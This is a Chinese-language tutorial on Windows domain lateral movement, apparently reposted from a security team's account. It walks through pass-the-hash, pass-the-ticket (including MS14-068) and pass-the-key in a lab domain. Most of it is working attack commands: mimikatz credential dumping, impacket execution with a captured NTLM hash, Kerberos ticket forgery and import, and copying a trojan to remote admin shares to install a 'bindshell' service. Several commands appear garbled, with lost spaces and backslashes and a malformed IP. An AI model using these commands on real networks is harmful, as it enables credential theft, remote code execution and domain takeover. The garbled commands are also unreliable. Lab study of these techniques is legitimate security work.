PTH
什么是PTH?
pass the hash:哈希傳遞攻擊,簡(jiǎn)稱PTH,是在內(nèi)網(wǎng)滲透中一種很經(jīng)典的攻擊方式,原理就是攻擊者可以直接通過LM Hash或NTLM Hash訪問遠(yuǎn)程主機(jī)或服務(wù),而不用提供明文密碼。在域環(huán)境中,用戶登錄計(jì)算機(jī)時(shí)使用的大部分都是域賬號(hào),大量計(jì)算機(jī)在安裝時(shí)會(huì)使用相同的本地管理員賬戶密碼。因此,如果計(jì)算機(jī)的本地管理員賬號(hào)和密碼也是相同的,攻擊者就可以使用哈希傳遞的方法登錄到內(nèi)網(wǎng)主機(jī)的其他計(jì)算機(jī)。因此,此類攻擊適用于:
?域/工作組環(huán)境
?可以獲得hash,但是條件不允許對(duì)hash進(jìn)行爆破
?內(nèi)網(wǎng)中存在和當(dāng)前機(jī)器相同的密碼
另外需要注意在Windows server 2012 R2 之前使用到的密碼散列值是LM Hash、NTLM Hash,在2012 R2及其版本之后使用到的密碼散列值是NTLM Hash。
PTH利用手法
當(dāng)前演示環(huán)境如下:
如上圖,該內(nèi)網(wǎng)環(huán)境,域名為gog.org,共有3臺(tái)機(jī)器,其中攻擊者已經(jīng)拿下了與該環(huán)境的Webserver,并讀取到了該機(jī)器中的hash,接下來(lái)讓我們嘗試通過哈希傳遞的方式獲取內(nèi)網(wǎng)其他兩臺(tái)機(jī)器的控制權(quán)
mimikatz
其中我們的神器mimikatz就可以進(jìn)行PTH攻擊,但是mimikatz中的PTH攻擊會(huì)在當(dāng)前目標(biāo)機(jī)器桌面中彈一個(gè)cmd窗口,所以不適合CS使用,適合獲得當(dāng)前目標(biāo)桌面權(quán)限后再使用該命令去進(jìn)行橫向移動(dòng)。首先我們先在Webserver中上傳mimikatz,并讀取hash:
privilege::debug#提升權(quán)限 sekurlsa::logonpasswords#抓取密碼
獲得本地管理員用戶的Hash后,用mimikatz將administrator的hash添加到lsass進(jìn)程中
sekurlsa::pth/user:administrator/domain:192.168.3.32/ntlm:518b98ad4178a53695dc997aa02d455c
成功后會(huì)彈出一個(gè)新的cmd窗口,這時(shí)再去訪問遠(yuǎn)程主機(jī)服務(wù),就不需要提供明文密碼了,直接連接即可
這時(shí)我們將192.168.3.32上線到CS中,就可使用將木馬復(fù)制到該機(jī)器中,然后使用sc創(chuàng)建一個(gè)服務(wù)綁定木馬,然后啟動(dòng)該服務(wù)上線即可,具體實(shí)現(xiàn)命令如下:
copy4444.exe\192.168.3.32c$#上傳木馬到目標(biāo)機(jī)器中 sc\192.168.3.32createbindshellbinpath="c:4444.exe"#創(chuàng)建shell服務(wù)并綁定文件
可以看到目標(biāo)機(jī)器中已經(jīng)創(chuàng)建了bindshell服務(wù),這里我們直接啟用該服務(wù)即可
sc\192.168.3.32startbindshell#啟動(dòng)bindshell服務(wù)
啟動(dòng)之后3.32成功上線。但是,在使用mimikatz進(jìn)行哈希傳遞攻擊時(shí)需要注意以下幾點(diǎn):
1.使用mimikatz進(jìn)行哈希傳遞要具有本地管理員權(quán)限
2.dir命令后面盡量跟主機(jī)名,否則可能會(huì)報(bào)錯(cuò)
impacket套件
除了mimikatz之外,像之前我們提到的impacket中的smbexec、wmiexec、psexec都可以進(jìn)行PTH攻擊。pythonpsexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.32"whoami"
pythonwmiexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32"whoami"
pythonsmbexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32
PTT
pass the ticket:票據(jù)傳遞攻擊,簡(jiǎn)稱PTT,利用的票據(jù)憑證TGT進(jìn)行的橫向移動(dòng),它是利用Kerberos協(xié)議進(jìn)行攻擊的,這里介紹三種常見的攻擊方法:MS14-068、Golden Ticket、SILVER ticket,簡(jiǎn)單來(lái)說(shuō)就是將連接合法的票據(jù)注入到內(nèi)存中實(shí)現(xiàn)連接。缺點(diǎn):票據(jù)是有效期的,一般默認(rèn)為10小時(shí)。
MS14-068
MS14-068是密鑰分發(fā)中心(KDC)服務(wù)中的Windows漏洞,它允許經(jīng)過身份驗(yàn)證的用戶在其Kerberos票據(jù)(TGT)中插入任意PAC。該漏洞位于kdcsvc.dll域控制器的密鑰分發(fā)中心(KDC)中,用戶可以通過呈現(xiàn)具有改變的PAC的Kerberos TGT來(lái)獲得票證。MS14-068所造成的危害是允許域內(nèi)任何一個(gè)普通用戶都可以將自己提升為域管權(quán)限。微軟給出的修復(fù)補(bǔ)丁是KB3011780,漏洞攻擊是否成功要看目標(biāo)機(jī)器打沒打KB3011780補(bǔ)丁。
漏洞利用
可以看到當(dāng)前我們所處的身份是域內(nèi)的一個(gè)普通用戶,是無(wú)法對(duì)域控進(jìn)行文件操作的。
這里我們第一步先獲取當(dāng)前機(jī)器的SID
shellwhoami/user
拿到SID后,使用我們的ms14-068.exe生成一個(gè)票據(jù)文件。-u指定當(dāng)前用戶,-s 輸入我們剛剛獲取到的SID,-p輸入當(dāng)前用戶密碼,具體命令如下
shellms14-068.exe-uwebadmin@god.org-sS-1-5-21-1218902331-2157346161-1782232778-1132-d192.168.3.21-padmin!@#45
執(zhí)行該命令后可以看到當(dāng)前目錄生成了一個(gè)票據(jù)文件。
這里生成票據(jù)文件后,就可以嘗試連接目標(biāo)看能否進(jìn)行操作 首先清除下票據(jù),以防該連接是以之前的票據(jù)進(jìn)行連接的
shellklistpurge
票據(jù)為空后,這里我們直接開始使用mimikatz導(dǎo)入票據(jù),之后再來(lái)查看當(dāng)前電腦的票據(jù)信息,看其是否有產(chǎn)生新的票據(jù)
mimikatzkerberos::ptcTGT_webadmin@god.org.ccache shellklist
票據(jù)為空后,這里我們直接嘗試與目標(biāo)主機(jī)進(jìn)行連接創(chuàng)建服務(wù)進(jìn)行上線(這里建議在連接時(shí),使用主機(jī)名進(jìn)行連接,IP地址容易產(chǎn)生失敗的問題)
shellnetuse\OWA2010CN-GODc$ shellcopy4444.exe\OWA2010CN-GODc$ shellsc\OWA2010CN-GODcreatebinshel1binpath="c:4444.exe" shellsc\OWA2010-GODstartbinshel1
成功執(zhí)行上線到CS,相對(duì)來(lái)說(shuō),MS14-068這個(gè)漏洞利用條件較為簡(jiǎn)單,如果域控沒有打KB3011780補(bǔ)丁,哪怕一個(gè)普通用戶權(quán)限也可以去嘗試該漏洞進(jìn)行利用。
kekeo
利用獲取到的NTLM生成新的票據(jù)去嘗試,成功與否看NTLM是否正確 缺點(diǎn):票據(jù)是有效期的,所以如果當(dāng)前主機(jī)在鏈接過域控的話,有效期內(nèi)可利用。kekeo和下面的mimikatz與剛剛我們上面的ms14-068原理不太一樣,ms14-068是基于漏洞,去允許域內(nèi)任何一個(gè)普通用戶將自己提升為域管權(quán)限,而kekeo和mimikatz是基于hash生成票據(jù),然后再進(jìn)行連接。這里假設(shè)我們已經(jīng)通過橫向其他機(jī)器,拿到了域控的hash,然后通過kekeo來(lái)偽造票據(jù)進(jìn)行連接。
首先來(lái)看我們現(xiàn)在跳板機(jī)中的票據(jù)是空的
shellklist
然后上傳我們的kekeo文件,首先先生成票據(jù)
shellkekeo"tgt::ask/user:Administrator/domain:god.org/ntlm:ccef208c6485269c20db2cad21734fe7""exit"
生成好后,可以看到當(dāng)前目錄會(huì)生成一個(gè)文件
該文件就是我們剛剛所生成的票據(jù)文件,接下來(lái)我們將它導(dǎo)入到內(nèi)存中后,再來(lái)看我們的當(dāng)前跳板機(jī)中有沒有新增票據(jù)
shellkekeo"kerberos::pttTGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi""exit" shellklist
可以看到成功導(dǎo)入了一個(gè)票據(jù),那這里我們對(duì)域控進(jìn)行嘗試連接
shelldir\owa2010cn-godc$
成功連接,那現(xiàn)在我相信大家可能都有一個(gè)疑問,就是現(xiàn)在都有了hash了,我直接使用pth去橫向他不是更方便嗎,為什么還要多此一舉去生成票據(jù)之后,再用票據(jù)去進(jìn)行橫向呢?當(dāng)然也是可以的,但是因?yàn)閜th他所基于的協(xié)議,如smb、wmi、icp等,他們都依賴于135、445、139等端口等,那如果在環(huán)境中,出現(xiàn)端口、協(xié)議被禁用的情況的話,可以嘗試使用得到的hash生成票據(jù)來(lái)進(jìn)行橫向。
MIMIKATZ
因?yàn)楫?dāng)前主機(jī)肯定之前與其他主機(jī)連接過,所以本地應(yīng)該生成了一些票據(jù),我們可以導(dǎo)出這些票據(jù),然后在導(dǎo)入票據(jù),利用,該方法類似于cookie欺騙。去利用歷史遺留的票據(jù)重新認(rèn)證嘗試,成功與否看當(dāng)前主機(jī)有沒有被目標(biāo)主機(jī)連接過。缺點(diǎn):需要高權(quán)限用戶 在進(jìn)行本實(shí)驗(yàn)之前,需要先模擬一下域管用戶在本機(jī)上的連接操作,留下票據(jù)之后在進(jìn)行橫向操作(可以在域控中遠(yuǎn)程鏈接一下跳板機(jī)或向C盤寫入一個(gè)文件并認(rèn)證)。
如上圖,我們假設(shè)這條票據(jù)是之前域管用戶在跳板機(jī)中留下的歷史票據(jù),那這里我們可以使用mimikatz進(jìn)行偽造票據(jù)。首先我們先將內(nèi)存中的票據(jù)導(dǎo)出
mimikatzsekurlsa::tickets/export
導(dǎo)出后可以看到當(dāng)前目錄會(huì)出現(xiàn)一個(gè)票據(jù)文件
這里再將其導(dǎo)入到內(nèi)存中
mimikatzkerberos::pttC:UserswebadminDesktopTGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
導(dǎo)入成功后,這里我們直接進(jìn)行對(duì)靶標(biāo)進(jìn)行連接
shellnetuse\owa2010cn-godc$ shelldir\OWA2010CN-GODc$
PTK
pass the key:密鑰傳遞攻擊,簡(jiǎn)稱PTK,利用的ekeys aes256進(jìn)行的橫向移動(dòng),成功幾率不是很高,利用條件苛刻 漏洞利用條件:當(dāng)系統(tǒng)安裝了KB2871997補(bǔ)丁且禁用了NTLM的時(shí)候,那我們抓取到的NTLM hash就失去了作用,但是可以通過PTK的攻擊方式獲得權(quán)限。首先使用mimikatz導(dǎo)出aes值
mimikatzsekurlsa::ekeys
導(dǎo)出后使用我們下面這條命令來(lái)進(jìn)行利用
mimikatzsekurlsa::pth/user:域用戶名/domain:域名/aes256:aes256值 mimikatzsekurlsa::pth/user:administrator/domain:god/aes256:1811e5811877a782b6c11e2b0165ffb88d40a633f922a012372095a43d72d7ae
執(zhí)行后會(huì)在桌面彈出一個(gè)cmd窗口,這里就可以進(jìn)行橫向移動(dòng)利用,但是上文也講了,該移動(dòng)方法的利用條件有點(diǎn)苛刻,他是目標(biāo)系統(tǒng)必須打了KB2871997且禁用了NTLM hash傳遞時(shí),才可以利用,但是由于我們的靶場(chǎng)環(huán)境并沒有打KB2871997補(bǔ)丁且沒有禁用NTLM Hash,故無(wú)法利用成功。且當(dāng)一個(gè)思路吧。
審核編輯:劉清
-
PTH
+關(guān)注
關(guān)注
0文章
40瀏覽量
17753 -
Hash算法
+關(guān)注
關(guān)注
0文章
43瀏覽量
7407
原文標(biāo)題:橫向移動(dòng)之PTH、PPT、PTK
文章出處:【微信號(hào):Tide安全團(tuán)隊(duì),微信公眾號(hào):Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論